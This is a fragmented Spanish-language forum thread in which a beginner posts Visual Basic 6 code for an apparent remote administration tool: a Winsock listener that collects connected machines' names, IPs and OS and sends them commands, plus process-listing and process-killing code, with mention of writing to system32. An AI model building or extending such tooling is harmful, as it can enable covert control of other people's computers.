Mensajes

miran yo le coloko
shell "ruta"
pero no me funca como hago pra ejecutar?
gracias Saludos..

Esta es mi aplicacion jeje, que llevo a aste ahora  , espero que les guste, esto todo funciona, ahora toi leyendo sobre api, para hacer lo demas, xD

Saludos... espero que les guste

ta bueno, xD, se nota que taba aburrio
xD
saludos...

mm, no entendi nada pero gracias
    strPath = String$(165, 0)
que es eso me lo podrias eexplicar xq no entiendo nada
xD

ahhhh, ya entendi bien
gracias saludos...., me empzare a leer, aber para asociarme me pueden dar un ejemplo supe basico sobre api,

mmm, no entiendo lo que api, me pueden ayudar xfavor
gracias

Código [Seleccionar] Expandir

'****Procesos
'Hace una "foto" de los procesos actuales
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
'Coge el primer proceso
Private Declare Function Process32First Lib "kernel32.dll" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
'Va cogiendo todos los demas procesos
Private Declare Function Process32Next Lib "kernel32.dll" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
'Cierra el Handle de el primer proceso
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal handle As Long) As Long
'Abrimos un proceso conociendo el PID
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
'Matamos un proceso abierto
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Const TH32CS_SNAPPROCESS As Long = 2& 'Para que la foto sea de procesos
Public Const MAX_PATH As Long = 260
'Tipo para coger info de procesos.
Private Type PROCESSENTRY32
  dwSize As Long
  cntUsage As Long
  th32ProcessID As Long
  th32DefaultHeapID As Long
  th32ModuleID As Long
  cntThreads As Long
  th32ParentProcessID As Long
  pcPriClassBase As Long
  dwFlags As Long
  szExeFile As String * 260
End Type

'Funcion que mata un proceso
Public Sub KillProcess(PID As String)
Dim myProcess As Long
Dim AppKill As Boolean
'Abrimos el proceso con el PID que hemos recibido
myProcess = OpenProcess(1&, -1&, PID)
'Matamos el proceso que hemos abierto
AppKill = TerminateProcess(myProcess, 0&)
'Cerramos el proceso abierto
CloseHandle (myProcess)
End Sub

'Funcion que coge los procesos
Public Function GetProcess() As String
Dim Proc As PROCESSENTRY32
Dim hSnapshot As Long
'Hacemos una "foto" de los PROCESOS activos
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
Proc.dwSize = Len(Proc) 'Le indicamos el tamaño de el tipo
'Cogemos el primer proceso de la "foto" y lo guardamos en Proc
Process32First hSnapshot, Proc
'Hacemos un bucle para que valla guardando en la variable GetProcess todos los resultados (nombre, pid y numero de threads)
    Do While Process32Next(hSnapshot, Proc)
    GetProcess = GetProcess & "|" & StripNulls(Proc.szExeFile) & "," & Proc.th32ProcessID & "," & Proc.cntThreads
    Loop
'Cerramos la "foto"
CloseHandle hSnapshot
End Function

'Funcion que elimina los caracteres nulos de un String
Public Function StripNulls(ByVal OriginalStr As String) As String
    StripNulls = Left$(OriginalStr, InStr(OriginalStr, vbNullChar) - 1)
End Function
no entiendo nada como ago yo un code asi?

Código [Seleccionar] Expandir

'Hace una "foto" de los procesos actuales
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
como  funciona ese code, no entiendo nada ayuda xfavor

si, ahi me funciono bien, pero tengo una gran duda

Código [Seleccionar] Expandir

Dim i As Long

Private Sub Com_escuchar_Click()
On Error Resume Next
If Text_puerto.Text = "" Then
MsgBox "Necesitas poner el puerto", vbCritical
Exit Sub
End If
If Text_puerto.Text > 65535 Then
MsgBox "El puerto deve ser entre 1-65535", vbCritical
Text_puerto.Text = ""
Exit Sub
End If
If Com_escuchar.Caption = "Escuchar" Then
Ws(TotalIndex).Close
Ws(TotalIndex).LocalPort = Text_puerto.Text
Ws(TotalIndex).Listen
Label_estado.Caption = "Estado: Escuchando Puerto " & Text_puerto.Text
Text_puerto.Locked = True
Com_escuchar.Caption = "Cerrar"
Else
For i = 0 To TotalIndex
Ws(i).Close
Next
Lc.ListItems.Clear
Text_puerto.Locked = False
Label_estado.Caption = "Estado: Cerrado"
Com_escuchar.Caption = "Escuchar"
End If
End Sub

Private Sub Text_puerto_KeyPress(KeyAscii As Integer)
If KeyAscii = 8 Then Exit Sub
If Not IsNumeric(Chr(KeyAscii)) Then KeyAscii = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
End
End Sub

Private Sub Form_Load()
TotalIndex = 0
Call Lc.ColumnHeaders.Add(, , "Nombre", "1300,0631")
Call Lc.ColumnHeaders.Add(, , "Ip", "2200,2522")
Call Lc.ColumnHeaders.Add(, , "S.O", "1600,7166")
End Sub

Private Sub Lc_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim vindex As Long
On Error Resume Next
If Lc.SelectedItem.Selected = False Then Exit Sub
If Button = 2 Then
PopupMenu mnu_opciones
vindex = Lc.SelectedItem.Selected
End If
End Sub

Private Sub mnu_enviar_men_Click()
On Error Resume Next
frm_mensajes.Show
End Sub

Private Sub mnu_Lista_procesos_Click()
On Error Resume Next
frm_procesos.Show
End Sub

Private Sub mnu_trasnferencia_Click()
On Error Resume Next
frm_transferencia.Show
End Sub

Private Sub mnu_chat_Click()
On Error Resume Next
Envia "Chatini"
frm_chat.Show
End Sub

Private Sub mnu_Paint_Click()
On Error Resume Next
Envia "Paint"
End Sub

Private Sub mnu_Cerrar_server_Click()
On Error Resume Next
Envia "Cerrar"
End Sub

Private Sub Ws_ConnectionRequest(Index As Integer, ByVal requestID As Long)
  On Error GoTo error
   TotalIndex = TotalIndex + 1
   Ws(Index).Close
   Ws(Index).Accept requestID
   Load Ws(TotalIndex)
   Ws(TotalIndex).LocalPort = Text_puerto.Text
   Ws(TotalIndex).Listen
error:
End Sub
cuando le doi a escuchar
, ya todo bien, el server se me conecta, ya luego le doi cerrar, y se cierra, lueo le doi escuhar de nuevo, y no hay conexion, pero = me muestra los datos,y veo aki
, y me muestra que hay conexion, pero le di una opcion y me dice que se a perdido la conexion
lo uniko que se demoro como 7 segundos en que aparezca los datos, xq me dice que no hay conexion, pero me llegan los datos y en donde se muetran las coneciones me dice que esta conectado,
y cuando apreto x primera ves el comando escuchar, se conecta en 1 segundo

Si me funciono, vi el post, pero no encuntro, nada para que me deje guardar en system32, con ese error 70

jeje, la wea de la segunda imagen no la tomes encuenta, me sale objeto no encontrado , y ya nose que acer